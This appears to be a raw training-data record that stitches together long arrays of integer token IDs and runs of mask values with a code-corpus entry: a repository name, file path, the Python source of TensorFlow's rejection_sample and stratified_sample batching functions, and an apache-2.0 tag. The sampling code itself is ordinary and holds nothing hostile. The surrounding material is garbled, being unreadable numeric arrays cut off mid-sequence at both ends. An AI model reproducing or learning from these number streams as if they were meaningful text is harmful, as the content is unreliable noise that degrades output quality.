4928,
450,
82,
7,
450,
334,
5091,
4258,
267,
340,
4928,
508,
25470,
26,
288,
746,
1722,
12,
971,
2116,
283,
4231,
14,
740,
26,
25470,
883,
1454,
506,
20247,
7,
267,
340,
291,
14,
5895,
436,
291,
14,
5895,
1988,
17,
1527,
17,
61,
508,
428,
12394,
26,
288,
746,
1722,
12,
971,
2116,
283,
4231,
14,
740,
26,
2575,
11187,
543,
428,
12394,
7,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
tornadozou/tensorflow
|
tensorflow/contrib/training/python/training/sampling_ops.py
|
46
|
17246
|
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Sampling functions."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import ops
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import check_ops
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import logging_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import random_ops
from tensorflow.python.ops import variable_scope
from tensorflow.python.training import input as input_ops
__all__ = [
'rejection_sample',
'stratified_sample',
]
def rejection_sample(tensors,
accept_prob_fn,
batch_size,
queue_threads=1,
enqueue_many=False,
prebatch_capacity=16,
prebatch_threads=1,
runtime_checks=False,
name=None):
"""Stochastically creates batches by rejection sampling.
Each list of non-batched tensors is evaluated by `accept_prob_fn`, to produce
a scalar tensor between 0 and 1. This tensor corresponds to the probability of
being accepted. When `batch_size` tensor groups have been accepted, the batch
queue will return a mini-batch.
Args:
tensors: List of tensors for data. All tensors are either one item or a
batch, according to enqueue_many.
accept_prob_fn: A python lambda that takes a non-batch tensor from each
item in `tensors`, and produces a scalar tensor.
batch_size: Size of batch to be returned.
queue_threads: The number of threads for the queue that will hold the final
batch.
enqueue_many: Bool. If true, interpret input tensors as having a batch
dimension.
prebatch_capacity: Capacity for the large queue that is used to convert
batched tensors to single examples.
prebatch_threads: Number of threads for the large queue that is used to
convert batched tensors to single examples.
runtime_checks: Bool. If true, insert runtime checks on the output of
`accept_prob_fn`. Using `True` might have a performance impact.
name: Optional prefix for ops created by this function.
Raises:
ValueError: enqueue_many is True and labels doesn't have a batch
dimension, or if enqueue_many is False and labels isn't a scalar.
ValueError: enqueue_many is True, and batch dimension on data and labels
don't match.
ValueError: if a zero initial probability class has a nonzero target
probability.
Returns:
A list of tensors of the same length as `tensors`, with batch dimension
`batch_size`.
Example:
# Get tensor for a single data and label example.
data, label = data_provider.Get(['data', 'label'])
# Get stratified batch according to data tensor.
accept_prob_fn = lambda x: (tf.tanh(x[0]) + 1) / 2
data_batch = tf.contrib.training.rejection_sample(
[data, label], accept_prob_fn, 16)
# Run batch through network.
...
"""
with variable_scope.variable_scope(name, 'rejection_sample', tensors):
tensor_list = ops.convert_n_to_tensor_or_indexed_slices(tensors)
# Reduce the case of a batched example to that of a batch of a single
# example by taking a batch of size one.
if enqueue_many:
# Validate that batch dimension of the input is consistent.
tensor_list = _verify_data_inputs(tensor_list)
# Make a single queue to hold input examples. Reshape output so examples
# don't have singleton batch dimension.
batched = input_ops.batch(
tensor_list,
batch_size=1,
num_threads=prebatch_threads,
capacity=prebatch_capacity,
enqueue_many=True)
tensor_list = [array_ops.squeeze(x, [0]) for x in batched]
# Set up a queue containing batches that have the distribution.
cur_prob = accept_prob_fn(tensor_list)
if runtime_checks:
cur_prob = array_ops.identity(
control_flow_ops.with_dependencies([
check_ops.assert_less_equal(0.0, cur_prob),
check_ops.assert_less_equal(cur_prob, 1.0)
], cur_prob),
name='prob_with_checks')
minibatch = input_ops.maybe_batch(
tensor_list,
keep_input=random_ops.random_uniform([]) < cur_prob,
batch_size=batch_size,
num_threads=queue_threads)
# Queues return a single tensor if the list of enqued tensors is one. Since
# we want the type to always be the same, always return a list.
if isinstance(minibatch, ops.Tensor):
minibatch = [minibatch]
return minibatch
def stratified_sample(tensors,
labels,
target_probs,
batch_size,
init_probs=None,
enqueue_many=False,
queue_capacity=16,
threads_per_queue=1,
name=None):
"""Stochastically creates batches based on per-class probabilities.
This method discards examples. Internally, it creates one queue to amortize
the cost of disk reads, and one queue to hold the properly-proportioned
batch.
Args:
tensors: List of tensors for data. All tensors are either one item or a
batch, according to enqueue_many.
labels: Tensor for label of data. Label is a single integer or a batch,
depending on `enqueue_many`. It is not a one-hot vector.
target_probs: Target class proportions in batch. An object whose type has a
registered Tensor conversion function.
batch_size: Size of batch to be returned.
init_probs: Class proportions in the data. An object whose type has a
registered Tensor conversion function, or `None` for estimating the
initial distribution.
enqueue_many: Bool. If true, interpret input tensors as having a batch
dimension.
queue_capacity: Capacity of the large queue that holds input examples.
threads_per_queue: Number of threads for the large queue that holds input
examples and for the final queue with the proper class proportions.
name: Optional prefix for ops created by this function.
Raises:
ValueError: If `tensors` isn't iterable.
ValueError: `enqueue_many` is True and labels doesn't have a batch
dimension, or if `enqueue_many` is False and labels isn't a scalar.
ValueError: `enqueue_many` is True, and batch dimension on data and labels
don't match.
ValueError: if probs don't sum to one.
ValueError: if a zero initial probability class has a nonzero target
probability.
TFAssertion: if labels aren't integers in [0, num classes).
Returns:
(data_batch, label_batch), where data_batch is a list of tensors of the same
length as `tensors`
Example:
# Get tensor for a single data and label example.
data, label = data_provider.Get(['data', 'label'])
# Get stratified batch according to per-class probabilities.
target_probs = [...distribution you want...]
[data_batch], labels = tf.contrib.training.stratified_sample(
[data], label, target_probs)
# Run batch through network.
...
"""
with ops.name_scope(name, 'stratified_sample', list(tensors) + [labels]):
tensor_list = ops.convert_n_to_tensor_or_indexed_slices(tensors)
labels = ops.convert_to_tensor(labels)
target_probs = ops.convert_to_tensor(target_probs, dtype=dtypes.float32)
# Reduce the case of a single example to that of a batch of size 1.
if not enqueue_many:
tensor_list = [array_ops.expand_dims(tensor, 0) for tensor in tensor_list]
labels = array_ops.expand_dims(labels, 0)
# If `init_probs` is `None`, set up online estimation of data distribution.
if init_probs is None:
# We use `target_probs` to get the number of classes, so its shape must be
# fully defined at graph construction time.
target_probs.get_shape().assert_is_fully_defined()
init_probs = _estimate_data_distribution(
labels, target_probs.get_shape().num_elements())
else:
init_probs = ops.convert_to_tensor(init_probs, dtype=dtypes.float32)
# Validate that input is consistent.
tensor_list, labels, [init_probs, target_probs] = _verify_input(
tensor_list, labels, [init_probs, target_probs])
# Check that all zero initial probabilities also have zero target
# probabilities.
assert_op = control_flow_ops.Assert(
math_ops.reduce_all(
math_ops.logical_or(
math_ops.not_equal(init_probs, 0),
math_ops.equal(target_probs, 0))),
['All classes with zero initial probability must also have zero target '
'probability: ', init_probs, target_probs
])
init_probs = control_flow_ops.with_dependencies([assert_op], init_probs)
# Calculate acceptance sampling probabilities.
accept_probs = _calculate_acceptance_probabilities(init_probs, target_probs)
proportion_rejected = math_ops.reduce_sum((1 - accept_probs) * init_probs)
accept_probs = control_flow_ops.cond(
math_ops.less(proportion_rejected, .5),
lambda: accept_probs,
lambda: logging_ops.Print( # pylint: disable=g-long-lambda
accept_probs, [accept_probs],
message='Proportion of examples rejected by sampler is high.',
first_n=10))
# Make a single queue to hold input examples. Reshape output so examples
# don't have singleton batch dimension.
batched = input_ops.batch(
tensor_list + [labels],
batch_size=1,
num_threads=threads_per_queue,
capacity=queue_capacity,
enqueue_many=True)
val_list = [array_ops.squeeze(x, [0]) for x in batched[:-1]]
label = array_ops.squeeze(batched[-1], [0])
# Set up second queue containing batches that have the desired class
# proportions.
cur_prob = array_ops.gather(accept_probs, label)
batched = input_ops.maybe_batch(
val_list + [label],
keep_input=random_ops.random_uniform([]) < cur_prob,
batch_size=batch_size,
num_threads=threads_per_queue)
return batched[:-1], batched[-1]
def _estimate_data_distribution(labels, num_classes, smoothing_constant=10):
"""Estimate data distribution as labels are seen."""
# Variable to track running count of classes. Smooth by a nonzero value to
# avoid division-by-zero. Higher values provide more stability at the cost of
# slower convergence.
if smoothing_constant <= 0:
raise ValueError('smoothing_constant must be nonzero.')
num_examples_per_class_seen = variable_scope.variable(
initial_value=[smoothing_constant] * num_classes,
trainable=False,
name='class_count',
dtype=dtypes.int64)
# Update the class-count based on what labels are seen in batch.
num_examples_per_class_seen = num_examples_per_class_seen.assign_add(
math_ops.reduce_sum(
array_ops.one_hot(
labels, num_classes, dtype=dtypes.int64), 0))
# Normalize count into a probability.
# NOTE: Without the `+= 0` line below, the test
# `testMultiThreadedEstimateDataDistribution` fails. The reason is that
# before this line, `num_examples_per_class_seen` is a Tensor that shares a
# buffer with an underlying `ref` object. When the `ref` is changed by another
# thread, `num_examples_per_class_seen` changes as well. Since this can happen
# in the middle of the normalization computation, we get probabilities that
# are very far from summing to one. Adding `+= 0` copies the contents of the
# tensor to a new buffer, which will be consistent from the start to the end
# of the normalization computation.
num_examples_per_class_seen += 0
init_prob_estimate = math_ops.truediv(
num_examples_per_class_seen,
math_ops.reduce_sum(num_examples_per_class_seen))
# Must return float32 (not float64) to agree with downstream `_verify_input`
# checks.
return math_ops.cast(init_prob_estimate, dtypes.float32)
def _verify_data_inputs(tensor_list):
"""Verify that batched data inputs are well-formed."""
for tensor in tensor_list:
# Data tensor should have a batch dimension.
tensor_shape = tensor.get_shape().with_rank_at_least(1)
# Data batch dimensions must be compatible.
tensor_shape[0].assert_is_compatible_with(tensor_list[0].get_shape()[0])
return tensor_list
def _verify_input(tensor_list, labels, probs_list):
"""Verify that batched inputs are well-formed."""
checked_probs_list = []
for probs in probs_list:
# Since number of classes shouldn't change at runtime, probalities shape
# should be fully defined.
probs.get_shape().assert_is_fully_defined()
# Probabilities must be 1D.
probs.get_shape().assert_has_rank(1)
# Probabilities must be nonnegative and sum to one.
tol = 1e-6
prob_sum = math_ops.reduce_sum(probs)
checked_probs = control_flow_ops.with_dependencies([
check_ops.assert_non_negative(probs),
check_ops.assert_less(prob_sum, 1.0 + tol),
check_ops.assert_less(1.0 - tol, prob_sum)
], probs)
checked_probs_list.append(checked_probs)
# All probabilities should be the same length.
prob_length = checked_probs_list[0].get_shape().num_elements()
for checked_prob in checked_probs_list:
if checked_prob.get_shape().num_elements() != prob_length:
raise ValueError('Probability parameters must have the same length.')
# Labels tensor should only have batch dimension.
labels.get_shape().assert_has_rank(1)
for tensor in tensor_list:
# Data tensor should have a batch dimension.
tensor_shape = tensor.get_shape().with_rank_at_least(1)
# Data and label batch dimensions must be compatible.
tensor_shape[0].assert_is_compatible_with(labels.get_shape()[0])
# Data and labels must have the same, strictly positive batch size. Since we
# can't assume we know the batch size at graph creation, add runtime checks.
labels_batch_size = array_ops.shape(labels)[0]
lbl_assert = check_ops.assert_positive(labels_batch_size)
# Make each tensor depend on its own checks.
labels = control_flow_ops.with_dependencies([lbl_assert], labels)
tensor_list = [
control_flow_ops.with_dependencies([
lbl_assert,
check_ops.assert_equal(array_ops.shape(x)[0], labels_batch_size)
], x) for x in tensor_list
]
# Label's classes must be integers 0 <= x < num_classes.
labels = control_flow_ops.with_dependencies([
check_ops.assert_integer(labels), check_ops.assert_non_negative(labels),
check_ops.assert_less(labels, math_ops.cast(prob_length, labels.dtype))
], labels)
return tensor_list, labels, checked_probs_list
def _calculate_acceptance_probabilities(init_probs, target_probs):
"""Calculate the per-class acceptance rates.
Args:
init_probs: The class probabilities of the data.
target_probs: The desired class proportion in minibatches.
Returns:
A list of the per-class acceptance probabilities.
This method is based on solving the following analysis:
Let F be the probability of a rejection (on any example).
Let p_i be the proportion of examples in the data in class i (init_probs)
Let a_i is the rate the rejection sampler should *accept* class i
Let t_i is the target proportion in the minibatches for class i (target_probs)
```
F = sum_i(p_i * (1-a_i))
= 1 - sum_i(p_i * a_i) using sum_i(p_i) = 1
```
An example with class `i` will be accepted if `k` rejections occur, then an
example with class `i` is seen by the rejector, and it is accepted. This can
be written as follows:
```
t_i = sum_k=0^inf(F^k * p_i * a_i)
= p_i * a_j / (1 - F) using geometric series identity, since 0 <= F < 1
= p_i * a_i / sum_j(p_j * a_j) using F from above
```
Note that the following constraints hold:
```
0 <= p_i <= 1, sum_i(p_i) = 1
0 <= a_i <= 1
0 <= t_i <= 1, sum_i(t_i) = 1
```
A solution for a_i in terms of the other variabes is the following:
```a_i = (t_i / p_i) / max_i[t_i / p_i]```
"""
# Make list of t_i / p_i.
ratio_l = target_probs / init_probs
# Replace NaNs with 0s.
ratio_l = array_ops.where(
math_ops.is_nan(ratio_l), array_ops.zeros_like(ratio_l), ratio_l)
# Calculate list of acceptance probabilities.
max_ratio = math_ops.reduce_max(ratio_l)
return ratio_l / max_ratio
|
apache-2.0
|
[
3,
1898,
7800,
710,
9134,
6642,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
3,
11148,
199,
624,
12226,
8922,
3423,
1041,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
504,
636,
2443,
363,
492,
4629,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
504,
3228,
14,
1548,
14,
4857,
492,
6674,
199,
504,
3228,
14,
1548,
14,
4857,
492,
4156,
199,
504,
3228,
14,
1548,
14,
1483,
492,
1625,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
1104,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
3304,
63,
1659,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
2050,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
3473,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
2196,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
1750,
63,
2645,
199,
504,
3228,
14,
1548,
14,
7588,
492,
1324,
465,
1324,
63,
1483,
199,
199,
363,
452,
363,
275,
359,
272,
283,
264,
8923,
63,
3271,
297,
272,
283,
14183,
8981,
63,
3271,
297,
199,
61,
421,
199,
318,
295,
8923,
63,
3271,
8,
10206,
12,
2151,
4729,
63,
6101,
63,
2324,
12,
2151,
3522,
63,
890,
12,
2151,
4126,
63,
6962,
29,
17,
12,
2151,
14892,
63,
3479,
29,
797,
12,
2151,
876,
2912,
63,
10457,
29,
975,
12,
2151,
876,
2912,
63,
6962,
29,
17,
12,
2151,
8836,
63,
8625,
29,
797,
12,
2151,
536,
29,
403,
304,
523,
408,
4759,
335,
1810,
7288,
8491,
19593,
701,
295,
8923,
15877,
14,
819,
7048,
769,
402,
2222,
13,
2912,
379,
10519,
365,
13006,
701,
658,
5694,
63,
6101,
63,
2324,
3559,
370,
7389,
523,
282,
6917,
2345,
3382,
378,
436,
413,
14,
961,
2345,
13718,
370,
314,
12224,
402,
523,
3769,
10226,
14,
3979,
658,
2912,
63,
890,
64,
2345,
4652,
1172,
2757,
10226,
12,
314,
3522,
523,
4126,
911,
372,
282,
20536,
13,
2912,
14,
819,
3033,
26,
272,
10519,
26,
3820,
402,
10519,
367,
666,
14,
2900,
10519,
787,
1902,
1373,
1242,
503,
282,
267,
3522,
12,
7182,
370,
14892,
63,
3479,
14,
272,
4729,
63,
6101,
63,
2324,
26,
437,
2366,
2400,
626,
6181,
282,
2222,
13,
2912,
2345,
687,
1924,
267,
1242,
315,
658,
10206,
3559,
436,
16904,
282,
6917,
2345,
14,
272,
3522,
63,
890,
26,
14579,
402,
3522,
370,
506,
2138,
14,
272,
4126,
63,
6962,
26,
710,
1329,
402,
7183,
367,
314,
4126,
626,
911,
10266,
314,
4242,
489,
3522,
14,
272,
14892,
63,
3479,
26,
19287,
14,
982,
2549,
12,
15579,
1324,
10519,
465,
9445,
282,
3522,
267,
6240,
14,
272,
876,
2912,
63,
10457,
26,
8790,
6192,
367,
314,
7031,
4126,
626,
365,
1202,
370,
3957,
489,
3522,
379,
10519,
370,
2849,
7251,
14,
272,
876,
2912,
63,
6962,
26,
4860,
402,
7183,
367,
314,
7031,
4126,
626,
365,
1202,
370,
489,
3957,
3522,
379,
10519,
370,
2849,
7251,
14,
272,
8836,
63,
8625,
26,
19287,
14,
982,
2549,
12,
5518,
8836,
5920,
641,
314,
1072,
402,
267,
658,
5694,
63,
6101,
63,
2324,
2313,
11719,
658,
549,
64,
5594,
1172,
282,
10238,
25568,
14,
272,
536,
26,
4879,
2403,
367,
4156,
2737,
701,
642,
805,
14,
523,
6218,
26,
272,
1722,
26,
14892,
63,
3479,
365,
715,
436,
3628,
3181,
1133,
1172,
282,
3522,
267,
6240,
12,
503,
340,
14892,
63,
3479,
365,
756,
436,
3628,
5712,
1133,
282,
6917,
14,
272,
1722,
26,
14892,
63,
3479,
365,
715,
12,
436,
3522,
6240,
641,
666,
436,
3628,
267,
2793,
1133,
1336,
14,
272,
1722,
26,
340,
282,
4697,
2536,
12224,
1021,
965,
282,
23338,
1347,
267,
12224,
14,
523,
1803,
26,
272,
437,
769,
402,
10519,
402,
314,
2011,
2582,
465,
658,
10206,
3559,
543,
3522,
6240,
272,
658,
2912,
63,
890,
2313,
819,
5679,
26,
272,
327,
2372,
2345,
367,
282,
2849,
666,
436,
1768,
2893,
14,
272,
666,
12,
1768,
275,
666,
63,
3780,
14,
1002,
2941,
576,
297,
283,
1302,
1105,
339,
327,
2372,
20370,
8981,
3522,
7182,
370,
666,
2345,
14,
272,
4729,
63,
6101,
63,
2324,
275,
2400,
671,
26,
334,
3249,
14,
21468,
8,
88,
59,
16,
566,
435,
413,
9,
1182,
499,
272,
666,
63,
2912,
275,
2833,
14,
2828,
14,
7588,
14,
264,
8923,
63,
3271,
8,
267,
359,
576,
12,
1768,
467,
4729,
63,
6101,
63,
2324,
12,
3193,
9,
339,
327,
3378,
3522,
4012,
2784,
14,
272,
2263,
523,
408,
523,
543,
1750,
63,
2645,
14,
1975,
63,
2645,
8,
354,
12,
283,
264,
8923,
63,
3271,
297,
10519,
304,
272,
2345,
63,
513,
275,
4156,
14,
3916,
63,
78,
63,
475,
63,
3128,
63,
269,
63,
16821,
63,
14865,
8,
10206,
9,
272,
327,
30778,
314,
1930,
402,
282,
3522,
379,
2893,
370,
626,
402,
282,
3522,
402,
282,
2849,
272,
327,
2893,
701,
16466,
282,
3522,
402,
1568,
1373,
14,
272,
340,
14892,
63,
3479,
26,
489,
327,
12134,
626,
3522,
6240,
402,
314,
1324,
365,
12137,
14,
489,
2345,
63,
513,
275,
485,
4712,
63,
576,
63,
3711,
8,
3128,
63,
513,
9,
2541,
327,
4155,
282,
2849,
4126,
370,
10266,
1324,
7251,
14,
3591,
15221,
1072,
880,
7251,
489,
327,
2793,
1133,
1172,
19768,
3522,
6240,
14,
489,
3522,
379,
275,
1324,
63,
1483,
14,
2912,
8,
881,
2345,
63,
513,
12,
881,
3522,
63,
890,
29,
17,
12,
881,
1967,
63,
6962,
29,
657
] |
[
1898,
7800,
710,
9134,
6642,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
3,
11148,
199,
624,
12226,
8922,
3423,
1041,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
504,
636,
2443,
363,
492,
4629,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
504,
3228,
14,
1548,
14,
4857,
492,
6674,
199,
504,
3228,
14,
1548,
14,
4857,
492,
4156,
199,
504,
3228,
14,
1548,
14,
1483,
492,
1625,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
1104,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
3304,
63,
1659,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
2050,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
3473,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
2196,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
1750,
63,
2645,
199,
504,
3228,
14,
1548,
14,
7588,
492,
1324,
465,
1324,
63,
1483,
199,
199,
363,
452,
363,
275,
359,
272,
283,
264,
8923,
63,
3271,
297,
272,
283,
14183,
8981,
63,
3271,
297,
199,
61,
421,
199,
318,
295,
8923,
63,
3271,
8,
10206,
12,
2151,
4729,
63,
6101,
63,
2324,
12,
2151,
3522,
63,
890,
12,
2151,
4126,
63,
6962,
29,
17,
12,
2151,
14892,
63,
3479,
29,
797,
12,
2151,
876,
2912,
63,
10457,
29,
975,
12,
2151,
876,
2912,
63,
6962,
29,
17,
12,
2151,
8836,
63,
8625,
29,
797,
12,
2151,
536,
29,
403,
304,
523,
408,
4759,
335,
1810,
7288,
8491,
19593,
701,
295,
8923,
15877,
14,
819,
7048,
769,
402,
2222,
13,
2912,
379,
10519,
365,
13006,
701,
658,
5694,
63,
6101,
63,
2324,
3559,
370,
7389,
523,
282,
6917,
2345,
3382,
378,
436,
413,
14,
961,
2345,
13718,
370,
314,
12224,
402,
523,
3769,
10226,
14,
3979,
658,
2912,
63,
890,
64,
2345,
4652,
1172,
2757,
10226,
12,
314,
3522,
523,
4126,
911,
372,
282,
20536,
13,
2912,
14,
819,
3033,
26,
272,
10519,
26,
3820,
402,
10519,
367,
666,
14,
2900,
10519,
787,
1902,
1373,
1242,
503,
282,
267,
3522,
12,
7182,
370,
14892,
63,
3479,
14,
272,
4729,
63,
6101,
63,
2324,
26,
437,
2366,
2400,
626,
6181,
282,
2222,
13,
2912,
2345,
687,
1924,
267,
1242,
315,
658,
10206,
3559,
436,
16904,
282,
6917,
2345,
14,
272,
3522,
63,
890,
26,
14579,
402,
3522,
370,
506,
2138,
14,
272,
4126,
63,
6962,
26,
710,
1329,
402,
7183,
367,
314,
4126,
626,
911,
10266,
314,
4242,
489,
3522,
14,
272,
14892,
63,
3479,
26,
19287,
14,
982,
2549,
12,
15579,
1324,
10519,
465,
9445,
282,
3522,
267,
6240,
14,
272,
876,
2912,
63,
10457,
26,
8790,
6192,
367,
314,
7031,
4126,
626,
365,
1202,
370,
3957,
489,
3522,
379,
10519,
370,
2849,
7251,
14,
272,
876,
2912,
63,
6962,
26,
4860,
402,
7183,
367,
314,
7031,
4126,
626,
365,
1202,
370,
489,
3957,
3522,
379,
10519,
370,
2849,
7251,
14,
272,
8836,
63,
8625,
26,
19287,
14,
982,
2549,
12,
5518,
8836,
5920,
641,
314,
1072,
402,
267,
658,
5694,
63,
6101,
63,
2324,
2313,
11719,
658,
549,
64,
5594,
1172,
282,
10238,
25568,
14,
272,
536,
26,
4879,
2403,
367,
4156,
2737,
701,
642,
805,
14,
523,
6218,
26,
272,
1722,
26,
14892,
63,
3479,
365,
715,
436,
3628,
3181,
1133,
1172,
282,
3522,
267,
6240,
12,
503,
340,
14892,
63,
3479,
365,
756,
436,
3628,
5712,
1133,
282,
6917,
14,
272,
1722,
26,
14892,
63,
3479,
365,
715,
12,
436,
3522,
6240,
641,
666,
436,
3628,
267,
2793,
1133,
1336,
14,
272,
1722,
26,
340,
282,
4697,
2536,
12224,
1021,
965,
282,
23338,
1347,
267,
12224,
14,
523,
1803,
26,
272,
437,
769,
402,
10519,
402,
314,
2011,
2582,
465,
658,
10206,
3559,
543,
3522,
6240,
272,
658,
2912,
63,
890,
2313,
819,
5679,
26,
272,
327,
2372,
2345,
367,
282,
2849,
666,
436,
1768,
2893,
14,
272,
666,
12,
1768,
275,
666,
63,
3780,
14,
1002,
2941,
576,
297,
283,
1302,
1105,
339,
327,
2372,
20370,
8981,
3522,
7182,
370,
666,
2345,
14,
272,
4729,
63,
6101,
63,
2324,
275,
2400,
671,
26,
334,
3249,
14,
21468,
8,
88,
59,
16,
566,
435,
413,
9,
1182,
499,
272,
666,
63,
2912,
275,
2833,
14,
2828,
14,
7588,
14,
264,
8923,
63,
3271,
8,
267,
359,
576,
12,
1768,
467,
4729,
63,
6101,
63,
2324,
12,
3193,
9,
339,
327,
3378,
3522,
4012,
2784,
14,
272,
2263,
523,
408,
523,
543,
1750,
63,
2645,
14,
1975,
63,
2645,
8,
354,
12,
283,
264,
8923,
63,
3271,
297,
10519,
304,
272,
2345,
63,
513,
275,
4156,
14,
3916,
63,
78,
63,
475,
63,
3128,
63,
269,
63,
16821,
63,
14865,
8,
10206,
9,
272,
327,
30778,
314,
1930,
402,
282,
3522,
379,
2893,
370,
626,
402,
282,
3522,
402,
282,
2849,
272,
327,
2893,
701,
16466,
282,
3522,
402,
1568,
1373,
14,
272,
340,
14892,
63,
3479,
26,
489,
327,
12134,
626,
3522,
6240,
402,
314,
1324,
365,
12137,
14,
489,
2345,
63,
513,
275,
485,
4712,
63,
576,
63,
3711,
8,
3128,
63,
513,
9,
2541,
327,
4155,
282,
2849,
4126,
370,
10266,
1324,
7251,
14,
3591,
15221,
1072,
880,
7251,
489,
327,
2793,
1133,
1172,
19768,
3522,
6240,
14,
489,
3522,
379,
275,
1324,
63,
1483,
14,
2912,
8,
881,
2345,
63,
513,
12,
881,
3522,
63,
890,
29,
17,
12,
881,
1967,
63,
6962,
29,
657,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
